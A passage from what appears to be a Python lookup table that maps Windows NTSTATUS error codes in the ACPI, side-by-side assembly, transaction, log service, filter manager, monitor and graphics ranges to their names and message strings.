0xC0140006: ("STATUS_ACPI_FATAL","A fatal error has occurred."),
0xC0140007: ("STATUS_ACPI_INVALID_SUPERNAME","An invalid SuperName was specified."),
0xC0140008: ("STATUS_ACPI_INVALID_ARGTYPE","An argument with an incorrect type was specified."),
0xC0140009: ("STATUS_ACPI_INVALID_OBJTYPE","An object with an incorrect type was specified."),
0xC014000A: ("STATUS_ACPI_INVALID_TARGETTYPE","A target with an incorrect type was specified."),
0xC014000B: ("STATUS_ACPI_INCORRECT_ARGUMENT_COUNT","An incorrect number of arguments was specified."),
0xC014000C: ("STATUS_ACPI_ADDRESS_NOT_MAPPED","An address failed to translate."),
0xC014000D: ("STATUS_ACPI_INVALID_EVENTTYPE","An incorrect event type was specified."),
0xC014000E: ("STATUS_ACPI_HANDLER_COLLISION","A handler for the target already exists."),
0xC014000F: ("STATUS_ACPI_INVALID_DATA","Invalid data for the target was specified."),
0xC0140010: ("STATUS_ACPI_INVALID_REGION","An invalid region for the target was specified."),
0xC0140011: ("STATUS_ACPI_INVALID_ACCESS_SIZE","An attempt was made to access a field outside the defined range."),
0xC0140012: ("STATUS_ACPI_ACQUIRE_GLOBAL_LOCK","The global system lock could not be acquired."),
0xC0140013: ("STATUS_ACPI_ALREADY_INITIALIZED","An attempt was made to reinitialize the ACPI subsystem."),
0xC0140014: ("STATUS_ACPI_NOT_INITIALIZED","The ACPI subsystem has not been initialized."),
0xC0140015: ("STATUS_ACPI_INVALID_MUTEX_LEVEL","An incorrect mutex was specified."),
0xC0140016: ("STATUS_ACPI_MUTEX_NOT_OWNED","The mutex is not currently owned."),
0xC0140017: ("STATUS_ACPI_MUTEX_NOT_OWNER","An attempt was made to access the mutex by a process that was not the owner."),
0xC0140018: ("STATUS_ACPI_RS_ACCESS","An error occurred during an access to region space."),
0xC0140019: ("STATUS_ACPI_INVALID_TABLE","An attempt was made to use an incorrect table."),
0xC0140020: ("STATUS_ACPI_REG_HANDLER_FAILED","The registration of an ACPI event failed."),
0xC0140021: ("STATUS_ACPI_POWER_REQUEST_FAILED","An ACPI power object failed to transition state."),
0xC0150001: ("STATUS_SXS_SECTION_NOT_FOUND","The requested section is not present in the activation context."),
0xC0150002: ("STATUS_SXS_CANT_GEN_ACTCTX","Windows was unble to process the application binding information. Refer to the system event log for further information."),
0xC0150003: ("STATUS_SXS_INVALID_ACTCTXDATA_FORMAT","The application binding data format is invalid."),
0xC0150004: ("STATUS_SXS_ASSEMBLY_NOT_FOUND","The referenced assembly is not installed on the system."),
0xC0150005: ("STATUS_SXS_MANIFEST_FORMAT_ERROR","The manifest file does not begin with the required tag and format information."),
0xC0150006: ("STATUS_SXS_MANIFEST_PARSE_ERROR","The manifest file contains one or more syntax errors."),
0xC0150007: ("STATUS_SXS_ACTIVATION_CONTEXT_DISABLED","The application attempted to activate a disabled activation context."),
0xC0150008: ("STATUS_SXS_KEY_NOT_FOUND","The requested lookup key was not found in any active activation context."),
0xC0150009: ("STATUS_SXS_VERSION_CONFLICT","A component version required by the application conflicts with another component version that is already active."),
0xC015000A: ("STATUS_SXS_WRONG_SECTION_TYPE","The type requested activation context section does not match the query API used."),
0xC015000B: ("STATUS_SXS_THREAD_QUERIES_DISABLED","Lack of system resources has required isolated activation to be disabled for the current thread of execution."),
0xC015000C: ("STATUS_SXS_ASSEMBLY_MISSING","The referenced assembly could not be found."),
0xC015000E: ("STATUS_SXS_PROCESS_DEFAULT_ALREADY_SET","An attempt to set the process default activation context failed because the process default activation context was already set."),
0xC015000F: ("STATUS_SXS_EARLY_DEACTIVATION","The activation context being deactivated is not the most recently activated one."),
0xC0150010: ("STATUS_SXS_INVALID_DEACTIVATION","The activation context being deactivated is not active for the current thread of execution."),
0xC0150011: ("STATUS_SXS_MULTIPLE_DEACTIVATION","The activation context being deactivated has already been deactivated."),
0xC0150012: ("STATUS_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY","The activation context of the system default assembly could not be generated."),
0xC0150013: ("STATUS_SXS_PROCESS_TERMINATION_REQUESTED","A component used by the isolation facility has requested that the process be terminated."),
0xC0150014: ("STATUS_SXS_CORRUPT_ACTIVATION_STACK","The activation context activation stack for the running thread of execution is corrupt."),
0xC0150015: ("STATUS_SXS_CORRUPTION","The application isolation metadata for this process or thread has become corrupt."),
0xC0150016: ("STATUS_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE","The value of an attribute in an identity is not within the legal range."),
0xC0150017: ("STATUS_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME","The name of an attribute in an identity is not within the legal range."),
0xC0150018: ("STATUS_SXS_IDENTITY_DUPLICATE_ATTRIBUTE","An identity contains two definitions for the same attribute."),
0xC0150019: ("STATUS_SXS_IDENTITY_PARSE_ERROR","The identity string is malformed. This may be due to a trailing comma, more than two unnamed attributes, a missing attribute name, or a missing attribute value."),
0xC015001A: ("STATUS_SXS_COMPONENT_STORE_CORRUPT","The component store has become corrupted."),
0xC015001B: ("STATUS_SXS_FILE_HASH_MISMATCH","A component's file does not match the verification information present in the component manifest."),
0xC015001C: ("STATUS_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT","The identities of the manifests are identical, but their contents are different."),
0xC015001D: ("STATUS_SXS_IDENTITIES_DIFFERENT","The component identities are different."),
0xC015001E: ("STATUS_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT","The assembly is not a deployment."),
0xC015001F: ("STATUS_SXS_FILE_NOT_PART_OF_ASSEMBLY","The file is not a part of the assembly."),
0xC0150020: ("STATUS_ADVANCED_INSTALLER_FAILED","An advanced installer failed during setup or servicing."),
0xC0150021: ("STATUS_XML_ENCODING_MISMATCH","The character encoding in the XML declaration did not match the encoding used in the document."),
0xC0150022: ("STATUS_SXS_MANIFEST_TOO_BIG","The size of the manifest exceeds the maximum allowed."),
0xC0150023: ("STATUS_SXS_SETTING_NOT_REGISTERED","The setting is not registered."),
0xC0150024: ("STATUS_SXS_TRANSACTION_CLOSURE_INCOMPLETE","One or more required transaction members are not present."),
0xC0150025: ("STATUS_SMI_PRIMITIVE_INSTALLER_FAILED","The SMI primitive installer failed during setup or servicing."),
0xC0150026: ("STATUS_GENERIC_COMMAND_FAILED","A generic command executable returned a result that indicates failure."),
0xC0150027: ("STATUS_SXS_FILE_HASH_MISSING","A component is missing file verification information in its manifest."),
0xC0190001: ("STATUS_TRANSACTIONAL_CONFLICT","The function attempted to use a name that is reserved for use by another transaction."),
0xC0190002: ("STATUS_INVALID_TRANSACTION","The transaction handle associated with this operation is invalid."),
0xC0190003: ("STATUS_TRANSACTION_NOT_ACTIVE","The requested operation was made in the context of a transaction that is no longer active."),
0xC0190004: ("STATUS_TM_INITIALIZATION_FAILED","The transaction manager was unable to be successfully initialized. Transacted operations are not supported."),
0xC0190005: ("STATUS_RM_NOT_ACTIVE","Transaction support within the specified file system resource manager was not started or was shut down due to an error."),
0xC0190006: ("STATUS_RM_METADATA_CORRUPT","The metadata of the resource manager has been corrupted. The resource manager will not function."),
0xC0190007: ("STATUS_TRANSACTION_NOT_JOINED","The resource manager attempted to prepare a transaction that it has not successfully joined."),
0xC0190008: ("STATUS_DIRECTORY_NOT_RM","The specified directory does not contain a file system resource manager."),
0xC019000A: ("STATUS_TRANSACTIONS_UNSUPPORTED_REMOTE","The remote server or share does not support transacted file operations."),
0xC019000B: ("STATUS_LOG_RESIZE_INVALID_SIZE","The requested log size for the file system resource manager is invalid."),
0xC019000C: ("STATUS_REMOTE_FILE_VERSION_MISMATCH","The remote server sent mismatching version number or Fid for a file opened with transactions."),
0xC019000F: ("STATUS_CRM_PROTOCOL_ALREADY_EXISTS","The resource manager tried to register a protocol that already exists."),
0xC0190010: ("STATUS_TRANSACTION_PROPAGATION_FAILED","The attempt to propagate the transaction failed."),
0xC0190011: ("STATUS_CRM_PROTOCOL_NOT_FOUND","The requested propagation protocol was not registered as a CRM."),
0xC0190012: ("STATUS_TRANSACTION_SUPERIOR_EXISTS","The transaction object already has a superior enlistment, and the caller attempted an operation that would have created a new superior. Only a single superior enlistment is allowed."),
0xC0190013: ("STATUS_TRANSACTION_REQUEST_NOT_VALID","The requested operation is not valid on the transaction object in its current state."),
0xC0190014: ("STATUS_TRANSACTION_NOT_REQUESTED","The caller has called a response API, but the response is not expected because the transaction manager did not issue the corresponding request to the caller."),
0xC0190015: ("STATUS_TRANSACTION_ALREADY_ABORTED","It is too late to perform the requested operation, because the transaction has already been aborted."),
0xC0190016: ("STATUS_TRANSACTION_ALREADY_COMMITTED","It is too late to perform the requested operation, because the transaction has already been committed."),
0xC0190017: ("STATUS_TRANSACTION_INVALID_MARSHALL_BUFFER","The buffer passed in to NtPushTransaction or NtPullTransaction is not in a valid format."),
0xC0190018: ("STATUS_CURRENT_TRANSACTION_NOT_VALID","The current transaction context associated with the thread is not a valid handle to a transaction object."),
0xC0190019: ("STATUS_LOG_GROWTH_FAILED","An attempt to create space in the transactional resource manager's log failed. The failure status has been recorded in the event log."),
0xC0190021: ("STATUS_OBJECT_NO_LONGER_EXISTS","The object (file, stream, or link) that corresponds to the handle has been deleted by a transaction savepoint rollback."),
0xC0190022: ("STATUS_STREAM_MINIVERSION_NOT_FOUND","The specified file miniversion was not found for this transacted file open."),
0xC0190023: ("STATUS_STREAM_MINIVERSION_NOT_VALID","The specified file miniversion was found but has been invalidated. The most likely cause is a transaction savepoint rollback."),
0xC0190024: ("STATUS_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION","A miniversion may be opened only in the context of the transaction that created it."),
0xC0190025: ("STATUS_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT","It is not possible to open a miniversion with modify access."),
0xC0190026: ("STATUS_CANT_CREATE_MORE_STREAM_MINIVERSIONS","It is not possible to create any more miniversions for this stream."),
0xC0190028: ("STATUS_HANDLE_NO_LONGER_VALID","The handle has been invalidated by a transaction. The most likely cause is the presence of memory mapping on a file or an open handle when the transaction ended or rolled back to savepoint."),
0xC0190030: ("STATUS_LOG_CORRUPTION_DETECTED","The log data is corrupt."),
0xC0190032: ("STATUS_RM_DISCONNECTED","The transaction outcome is unavailable because the resource manager responsible for it is disconnected."),
0xC0190033: ("STATUS_ENLISTMENT_NOT_SUPERIOR","The request was rejected because the enlistment in question is not a superior enlistment."),
0xC0190036: ("STATUS_FILE_IDENTITY_NOT_PERSISTENT","The file cannot be opened in a transaction because its identity depends on the outcome of an unresolved transaction."),
0xC0190037: ("STATUS_CANT_BREAK_TRANSACTIONAL_DEPENDENCY","The operation cannot be performed because another transaction is depending on this property not changing."),
0xC0190038: ("STATUS_CANT_CROSS_RM_BOUNDARY","The operation would involve a single file with two transactional resource managers and is, therefore, not allowed."),
0xC0190039: ("STATUS_TXF_DIR_NOT_EMPTY","The $Txf directory must be empty for this operation to succeed."),
0xC019003A: ("STATUS_INDOUBT_TRANSACTIONS_EXIST","The operation would leave a transactional resource manager in an inconsistent state and is therefore not allowed."),
0xC019003B: ("STATUS_TM_VOLATILE","The operation could not be completed because the transaction manager does not have a log."),
0xC019003C: ("STATUS_ROLLBACK_TIMER_EXPIRED","A rollback could not be scheduled because a previously scheduled rollback has already executed or been queued for execution."),
0xC019003D: ("STATUS_TXF_ATTRIBUTE_CORRUPT","The transactional metadata attribute on the file or directory %hs is corrupt and unreadable."),
0xC019003E: ("STATUS_EFS_NOT_ALLOWED_IN_TRANSACTION","The encryption operation could not be completed because a transaction is active."),
0xC019003F: ("STATUS_TRANSACTIONAL_OPEN_NOT_ALLOWED","This object is not allowed to be opened in a transaction."),
0xC0190040: ("STATUS_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE","Memory mapping (creating a mapped section) a remote file under a transaction is not supported."),
0xC0190043: ("STATUS_TRANSACTION_REQUIRED_PROMOTION","Promotion was required to allow the resource manager to enlist, but the transaction was set to disallow it."),
0xC0190044: ("STATUS_CANNOT_EXECUTE_FILE_IN_TRANSACTION","This file is open for modification in an unresolved transaction and may be opened for execute only by a transacted reader."),
0xC0190045: ("STATUS_TRANSACTIONS_NOT_FROZEN","The request to thaw frozen transactions was ignored because transactions were not previously frozen."),
0xC0190046: ("STATUS_TRANSACTION_FREEZE_IN_PROGRESS","Transactions cannot be frozen because a freeze is already in progress."),
0xC0190047: ("STATUS_NOT_SNAPSHOT_VOLUME","The target volume is not a snapshot volume. This operation is valid only on a volume mounted as a snapshot."),
0xC0190048: ("STATUS_NO_SAVEPOINT_WITH_OPEN_FILES","The savepoint operation failed because files are open on the transaction, which is not permitted."),
0xC0190049: ("STATUS_SPARSE_NOT_ALLOWED_IN_TRANSACTION","The sparse operation could not be completed because a transaction is active on the file."),
0xC019004A: ("STATUS_TM_IDENTITY_MISMATCH","The call to create a transaction manager object failed because the Tm Identity that is stored in the log file does not match the Tm Identity that was passed in as an argument."),
0xC019004B: ("STATUS_FLOATED_SECTION","I/O was attempted on a section object that has been floated as a result of a transaction ending. There is no valid data."),
0xC019004C: ("STATUS_CANNOT_ACCEPT_TRANSACTED_WORK","The transactional resource manager cannot currently accept transacted work due to a transient condition, such as low resources."),
0xC019004D: ("STATUS_CANNOT_ABORT_TRANSACTIONS","The transactional resource manager had too many transactions outstanding that could not be aborted. The transactional resource manager has been shut down."),
0xC019004E: ("STATUS_TRANSACTION_NOT_FOUND","The specified transaction was unable to be opened because it was not found."),
0xC019004F: ("STATUS_RESOURCEMANAGER_NOT_FOUND","The specified resource manager was unable to be opened because it was not found."),
0xC0190050: ("STATUS_ENLISTMENT_NOT_FOUND","The specified enlistment was unable to be opened because it was not found."),
0xC0190051: ("STATUS_TRANSACTIONMANAGER_NOT_FOUND","The specified transaction manager was unable to be opened because it was not found."),
0xC0190052: ("STATUS_TRANSACTIONMANAGER_NOT_ONLINE","The specified resource manager was unable to create an enlistment because its associated transaction manager is not online."),
0xC0190053: ("STATUS_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION","The specified transaction manager was unable to create the objects contained in its log file in the Ob namespace. Therefore, the transaction manager was unable to recover."),
0xC0190054: ("STATUS_TRANSACTION_NOT_ROOT","The call to create a superior enlistment on this transaction object could not be completed because the transaction object specified for the enlistment is a subordinate branch of the transaction. Only the root of the transaction can be enlisted as a superior."),
0xC0190055: ("STATUS_TRANSACTION_OBJECT_EXPIRED","Because the associated transaction manager or resource manager has been closed, the handle is no longer valid."),
0xC0190056: ("STATUS_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION","The compression operation could not be completed because a transaction is active on the file."),
0xC0190057: ("STATUS_TRANSACTION_RESPONSE_NOT_ENLISTED","The specified operation could not be performed on this superior enlistment because the enlistment was not created with the corresponding completion response in the NotificationMask."),
0xC0190058: ("STATUS_TRANSACTION_RECORD_TOO_LONG","The specified operation could not be performed because the record to be logged was too long. This can occur because either there are too many enlistments on this transaction or the combined RecoveryInformation being logged on behalf of those enlistments is too long."),
0xC0190059: ("STATUS_NO_LINK_TRACKING_IN_TRANSACTION","The link-tracking operation could not be completed because a transaction is active."),
0xC019005A: ("STATUS_OPERATION_NOT_SUPPORTED_IN_TRANSACTION","This operation cannot be performed in a transaction."),
0xC019005B: ("STATUS_TRANSACTION_INTEGRITY_VIOLATED","The kernel transaction manager had to abort or forget the transaction because it blocked forward progress."),
0xC0190060: ("STATUS_EXPIRED_HANDLE","The handle is no longer properly associated with its transaction. It may have been opened in a transactional resource manager that was subsequently forced to restart. Please close the handle and open a new one."),
0xC0190061: ("STATUS_TRANSACTION_NOT_ENLISTED","The specified operation could not be performed because the resource manager is not enlisted in the transaction."),
0xC01A0001: ("STATUS_LOG_SECTOR_INVALID","The log service found an invalid log sector."),
0xC01A0002: ("STATUS_LOG_SECTOR_PARITY_INVALID","The log service encountered a log sector with invalid block parity."),
0xC01A0003: ("STATUS_LOG_SECTOR_REMAPPED","The log service encountered a remapped log sector."),
0xC01A0004: ("STATUS_LOG_BLOCK_INCOMPLETE","The log service encountered a partial or incomplete log block."),
0xC01A0005: ("STATUS_LOG_INVALID_RANGE","The log service encountered an attempt to access data outside the active log range."),
0xC01A0006: ("STATUS_LOG_BLOCKS_EXHAUSTED","The log service user-log marshaling buffers are exhausted."),
0xC01A0007: ("STATUS_LOG_READ_CONTEXT_INVALID","The log service encountered an attempt to read from a marshaling area with an invalid read context."),
0xC01A0008: ("STATUS_LOG_RESTART_INVALID","The log service encountered an invalid log restart area."),
0xC01A0009: ("STATUS_LOG_BLOCK_VERSION","The log service encountered an invalid log block version."),
0xC01A000A: ("STATUS_LOG_BLOCK_INVALID","The log service encountered an invalid log block."),
0xC01A000B: ("STATUS_LOG_READ_MODE_INVALID","The log service encountered an attempt to read the log with an invalid read mode."),
0xC01A000D: ("STATUS_LOG_METADATA_CORRUPT","The log service encountered a corrupted metadata file."),
0xC01A000E: ("STATUS_LOG_METADATA_INVALID","The log service encountered a metadata file that could not be created by the log file system."),
0xC01A000F: ("STATUS_LOG_METADATA_INCONSISTENT","The log service encountered a metadata file with inconsistent data."),
0xC01A0010: ("STATUS_LOG_RESERVATION_INVALID","The log service encountered an attempt to erroneously allocate or dispose reservation space."),
0xC01A0011: ("STATUS_LOG_CANT_DELETE","The log service cannot delete the log file or the file system container."),
0xC01A0012: ("STATUS_LOG_CONTAINER_LIMIT_EXCEEDED","The log service has reached the maximum allowable containers allocated to a log file."),
0xC01A0013: ("STATUS_LOG_START_OF_LOG","The log service has attempted to read or write backward past the start of the log."),
0xC01A0014: ("STATUS_LOG_POLICY_ALREADY_INSTALLED","The log policy could not be installed because a policy of the same type is already present."),
0xC01A0015: ("STATUS_LOG_POLICY_NOT_INSTALLED","The log policy in question was not installed at the time of the request."),
0xC01A0016: ("STATUS_LOG_POLICY_INVALID","The installed set of policies on the log is invalid."),
0xC01A0017: ("STATUS_LOG_POLICY_CONFLICT","A policy on the log in question prevented the operation from completing."),
0xC01A0018: ("STATUS_LOG_PINNED_ARCHIVE_TAIL","The log space cannot be reclaimed because the log is pinned by the archive tail."),
0xC01A0019: ("STATUS_LOG_RECORD_NONEXISTENT","The log record is not a record in the log file."),
0xC01A001A: ("STATUS_LOG_RECORDS_RESERVED_INVALID","The number of reserved log records or the adjustment of the number of reserved log records is invalid."),
0xC01A001B: ("STATUS_LOG_SPACE_RESERVED_INVALID","The reserved log space or the adjustment of the log space is invalid."),
0xC01A001C: ("STATUS_LOG_TAIL_INVALID","A new or existing archive tail or the base of the active log is invalid."),
0xC01A001D: ("STATUS_LOG_FULL","The log space is exhausted."),
0xC01A001E: ("STATUS_LOG_MULTIPLEXED","The log is multiplexed; no direct writes to the physical log are allowed."),
0xC01A001F: ("STATUS_LOG_DEDICATED","The operation failed because the log is dedicated."),
0xC01A0020: ("STATUS_LOG_ARCHIVE_NOT_IN_PROGRESS","The operation requires an archive context."),
0xC01A0021: ("STATUS_LOG_ARCHIVE_IN_PROGRESS","Log archival is in progress."),
0xC01A0022: ("STATUS_LOG_EPHEMERAL","The operation requires a nonephemeral log, but the log is ephemeral."),
0xC01A0023: ("STATUS_LOG_NOT_ENOUGH_CONTAINERS","The log must have at least two containers before it can be read from or written to."),
0xC01A0024: ("STATUS_LOG_CLIENT_ALREADY_REGISTERED","A log client has already registered on the stream."),
0xC01A0025: ("STATUS_LOG_CLIENT_NOT_REGISTERED","A log client has not been registered on the stream."),
0xC01A0026: ("STATUS_LOG_FULL_HANDLER_IN_PROGRESS","A request has already been made to handle the log full condition."),
0xC01A0027: ("STATUS_LOG_CONTAINER_READ_FAILED","The log service encountered an error when attempting to read from a log container."),
0xC01A0028: ("STATUS_LOG_CONTAINER_WRITE_FAILED","The log service encountered an error when attempting to write to a log container."),
0xC01A0029: ("STATUS_LOG_CONTAINER_OPEN_FAILED","The log service encountered an error when attempting to open a log container."),
0xC01A002A: ("STATUS_LOG_CONTAINER_STATE_INVALID","The log service encountered an invalid container state when attempting a requested action."),
0xC01A002B: ("STATUS_LOG_STATE_INVALID","The log service is not in the correct state to perform a requested action."),
0xC01A002C: ("STATUS_LOG_PINNED","The log space cannot be reclaimed because the log is pinned."),
0xC01A002D: ("STATUS_LOG_METADATA_FLUSH_FAILED","The log metadata flush failed."),
0xC01A002E: ("STATUS_LOG_INCONSISTENT_SECURITY","Security on the log and its containers is inconsistent."),
0xC01A002F: ("STATUS_LOG_APPENDED_FLUSH_FAILED","Records were appended to the log or reservation changes were made, but the log could not be flushed."),
0xC01A0030: ("STATUS_LOG_PINNED_RESERVATION","The log is pinned due to reservation consuming most of the log space. Free some reserved records to make space available."),
0xC01B00EA: ("STATUS_VIDEO_HUNG_DISPLAY_DRIVER_THREAD","{Display Driver Stopped Responding} The %hs display driver has stopped working normally. Save your work and reboot the system to restore full display functionality. The next time you reboot the computer, a dialog box will allow you to upload data about this failure to Microsoft."),
0xC01C0001: ("STATUS_FLT_NO_HANDLER_DEFINED","A handler was not defined by the filter for this operation."),
0xC01C0002: ("STATUS_FLT_CONTEXT_ALREADY_DEFINED","A context is already defined for this object."),
0xC01C0003: ("STATUS_FLT_INVALID_ASYNCHRONOUS_REQUEST","Asynchronous requests are not valid for this operation."),
0xC01C0004: ("STATUS_FLT_DISALLOW_FAST_IO","This is an internal error code used by the filter manager to determine if a fast I/O operation should be forced down the input/output request packet (IRP) path. Minifilters should never return this value."),
0xC01C0005: ("STATUS_FLT_INVALID_NAME_REQUEST","An invalid name request was made. The name requested cannot be retrieved at this time."),
0xC01C0006: ("STATUS_FLT_NOT_SAFE_TO_POST_OPERATION","Posting this operation to a worker thread for further processing is not safe at this time because it could lead to a system deadlock."),
0xC01C0007: ("STATUS_FLT_NOT_INITIALIZED","The Filter Manager was not initialized when a filter tried to register. Make sure that the Filter Manager is loaded as a driver."),
0xC01C0008: ("STATUS_FLT_FILTER_NOT_READY","The filter is not ready for attachment to volumes because it has not finished initializing (FltStartFiltering has not been called)."),
0xC01C0009: ("STATUS_FLT_POST_OPERATION_CLEANUP","The filter must clean up any operation-specific context at this time because it is being removed from the system before the operation is completed by the lower drivers."),
0xC01C000A: ("STATUS_FLT_INTERNAL_ERROR","The Filter Manager had an internal error from which it cannot recover; therefore, the operation has failed. This is usually the result of a filter returning an invalid value from a pre-operation callback."),
0xC01C000B: ("STATUS_FLT_DELETING_OBJECT","The object specified for this action is in the process of being deleted; therefore, the action requested cannot be completed at this time."),
0xC01C000C: ("STATUS_FLT_MUST_BE_NONPAGED_POOL","A nonpaged pool must be used for this type of context."),
0xC01C000D: ("STATUS_FLT_DUPLICATE_ENTRY","A duplicate handler definition has been provided for an operation."),
0xC01C000E: ("STATUS_FLT_CBDQ_DISABLED","The callback data queue has been disabled."),
0xC01C000F: ("STATUS_FLT_DO_NOT_ATTACH","Do not attach the filter to the volume at this time."),
0xC01C0010: ("STATUS_FLT_DO_NOT_DETACH","Do not detach the filter from the volume at this time."),
0xC01C0011: ("STATUS_FLT_INSTANCE_ALTITUDE_COLLISION","An instance already exists at this altitude on the volume specified."),
0xC01C0012: ("STATUS_FLT_INSTANCE_NAME_COLLISION","An instance already exists with this name on the volume specified."),
0xC01C0013: ("STATUS_FLT_FILTER_NOT_FOUND","The system could not find the filter specified."),
0xC01C0014: ("STATUS_FLT_VOLUME_NOT_FOUND","The system could not find the volume specified."),
0xC01C0015: ("STATUS_FLT_INSTANCE_NOT_FOUND","The system could not find the instance specified."),
0xC01C0016: ("STATUS_FLT_CONTEXT_ALLOCATION_NOT_FOUND","No registered context allocation definition was found for the given request."),
0xC01C0017: ("STATUS_FLT_INVALID_CONTEXT_REGISTRATION","An invalid parameter was specified during context registration."),
0xC01C0018: ("STATUS_FLT_NAME_CACHE_MISS","The name requested was not found in the Filter Manager name cache and could not be retrieved from the file system."),
0xC01C0019: ("STATUS_FLT_NO_DEVICE_OBJECT","The requested device object does not exist for the given volume."),
0xC01C001A: ("STATUS_FLT_VOLUME_ALREADY_MOUNTED","The specified volume is already mounted."),
0xC01C001B: ("STATUS_FLT_ALREADY_ENLISTED","The specified transaction context is already enlisted in a transaction."),
0xC01C001C: ("STATUS_FLT_CONTEXT_ALREADY_LINKED","The specified context is already attached to another object."),
0xC01C0020: ("STATUS_FLT_NO_WAITER_FOR_REPLY","No waiter is present for the filter's reply to this message."),
0xC01D0001: ("STATUS_MONITOR_NO_DESCRIPTOR","A monitor descriptor could not be obtained."),
0xC01D0002: ("STATUS_MONITOR_UNKNOWN_DESCRIPTOR_FORMAT","This release does not support the format of the obtained monitor descriptor."),
0xC01D0003: ("STATUS_MONITOR_INVALID_DESCRIPTOR_CHECKSUM","The checksum of the obtained monitor descriptor is invalid."),
0xC01D0004: ("STATUS_MONITOR_INVALID_STANDARD_TIMING_BLOCK","The monitor descriptor contains an invalid standard timing block."),
0xC01D0005: ("STATUS_MONITOR_WMI_DATABLOCK_REGISTRATION_FAILED","WMI data-block registration failed for one of the MSMonitorClass WMI subclasses."),
0xC01D0006: ("STATUS_MONITOR_INVALID_SERIAL_NUMBER_MONDSC_BLOCK","The provided monitor descriptor block is either corrupted or does not contain the monitor's detailed serial number."),
0xC01D0007: ("STATUS_MONITOR_INVALID_USER_FRIENDLY_MONDSC_BLOCK","The provided monitor descriptor block is either corrupted or does not contain the monitor's user-friendly name."),
0xC01D0008: ("STATUS_MONITOR_NO_MORE_DESCRIPTOR_DATA","There is no monitor descriptor data at the specified (offset or size) region."),
0xC01D0009: ("STATUS_MONITOR_INVALID_DETAILED_TIMING_BLOCK","The monitor descriptor contains an invalid detailed timing block."),
0xC01D000A: ("STATUS_MONITOR_INVALID_MANUFACTURE_DATE","Monitor descriptor contains invalid manufacture date."),
0xC01E0000: ("STATUS_GRAPHICS_NOT_EXCLUSIVE_MODE_OWNER","Exclusive mode ownership is needed to create an unmanaged primary allocation."),
0xC01E0001: ("STATUS_GRAPHICS_INSUFFICIENT_DMA_BUFFER","The driver needs more DMA buffer space to complete the requested operation."),
0xC01E0002: ("STATUS_GRAPHICS_INVALID_DISPLAY_ADAPTER","The specified display adapter handle is invalid."),
0xC01E0003: ("STATUS_GRAPHICS_ADAPTER_WAS_RESET","The specified display adapter and all of its state have been reset."),
0xC01E0004: ("STATUS_GRAPHICS_INVALID_DRIVER_MODEL","The driver stack does not match the expected driver model."),
0xC01E0005: ("STATUS_GRAPHICS_PRESENT_MODE_CHANGED","Present happened but ended up into the changed desktop mode."),
0xC01E0006: ("STATUS_GRAPHICS_PRESENT_OCCLUDED","Nothing to present due to desktop occlusion."),
0xC01E0007: ("STATUS_GRAPHICS_PRESENT_DENIED","Not able to present due to denial of desktop access."),
0xC01E0008: ("STATUS_GRAPHICS_CANNOTCOLORCONVERT","Not able to present with color conversion."),
0xC01E000B: ("STATUS_GRAPHICS_PRESENT_REDIRECTION_DISABLED","Present redirection is disabled (desktop windowing management subsystem is off)."),
0xC01E000C: ("STATUS_GRAPHICS_PRESENT_UNOCCLUDED","Previous exclusive VidPn source owner has released its ownership"),
0xC01E0100: ("STATUS_GRAPHICS_NO_VIDEO_MEMORY","Not enough video memory is available to complete the operation."),
0xC01E0101: ("STATUS_GRAPHICS_CANT_LOCK_MEMORY","Could not probe and lock the underlying memory of an allocation."),
0xC01E0102: ("STATUS_GRAPHICS_ALLOCATION_BUSY","The allocation is currently busy."),
0xC01E0103: ("STATUS_GRAPHICS_TOO_MANY_REFERENCES","An object being referenced has already reached the maximum reference count and cannot be referenced further."),
0xC01E0104: ("STATUS_GRAPHICS_TRY_AGAIN_LATER","A problem could not be solved due to an existing condition. Try again later."),
0xC01E0105: ("STATUS_GRAPHICS_TRY_AGAIN_NOW","A problem could not be solved due to an existing condition. Try again now."),
0xC01E0106: ("STATUS_GRAPHICS_ALLOCATION_INVALID","The allocation is invalid."),
0xC01E0107: ("STATUS_GRAPHICS_UNSWIZZLING_APERTURE_UNAVAILABLE","No more unswizzling apertures are currently available."),
0xC01E0108: ("STATUS_GRAPHICS_UNSWIZZLING_APERTURE_UNSUPPORTED","The current allocation cannot be unswizzled by an aperture."),
0xC01E0109: ("STATUS_GRAPHICS_CANT_EVICT_PINNED_ALLOCATION","The request failed because a pinned allocation cannot be evicted."),
0xC01E0110: ("STATUS_GRAPHICS_INVALID_ALLOCATION_USAGE","The allocation cannot be used from its current segment location for the specified operation."),
0xC01E0111: ("STATUS_GRAPHICS_CANT_RENDER_LOCKED_ALLOCATION","A locked allocation cannot be used in the current command buffer."),
0xC01E0112: ("STATUS_GRAPHICS_ALLOCATION_CLOSED","The allocation being referenced has been closed permanently."),
0xC01E0113: ("STATUS_GRAPHICS_INVALID_ALLOCATION_INSTANCE","An invalid allocation instance is being referenced."),
0xC01E0114: ("STATUS_GRAPHICS_INVALID_ALLOCATION_HANDLE","An invalid allocation handle is being referenced."),
0xC01E0115: ("STATUS_GRAPHICS_WRONG_ALLOCATION_DEVICE","The allocation being referenced does not belong to the current device."),
0xC01E0116: ("STATUS_GRAPHICS_ALLOCATION_CONTENT_LOST","The specified allocation lost its content."),
0xC01E0200: ("STATUS_GRAPHICS_GPU_EXCEPTION_ON_DEVICE","A GPU exception was detected on the given device. The device cannot be scheduled."),
0xC01E0300: ("STATUS_GRAPHICS_INVALID_VIDPN_TOPOLOGY","The specified VidPN topology is invalid."),
0xC01E0301: ("STATUS_GRAPHICS_VIDPN_TOPOLOGY_NOT_SUPPORTED","The specified VidPN topology is valid but is not supported by this model of the display adapter."),
0xC01E0302: ("STATUS_GRAPHICS_VIDPN_TOPOLOGY_CURRENTLY_NOT_SUPPORTED","The specified VidPN topology is valid but is not currently supported by the display adapter due to allocation of its resources."),
0xC01E0303: ("STATUS_GRAPHICS_INVALID_VIDPN","The specified VidPN handle is invalid."),
0xC01E0304: ("STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE","The specified video present source is invalid."),
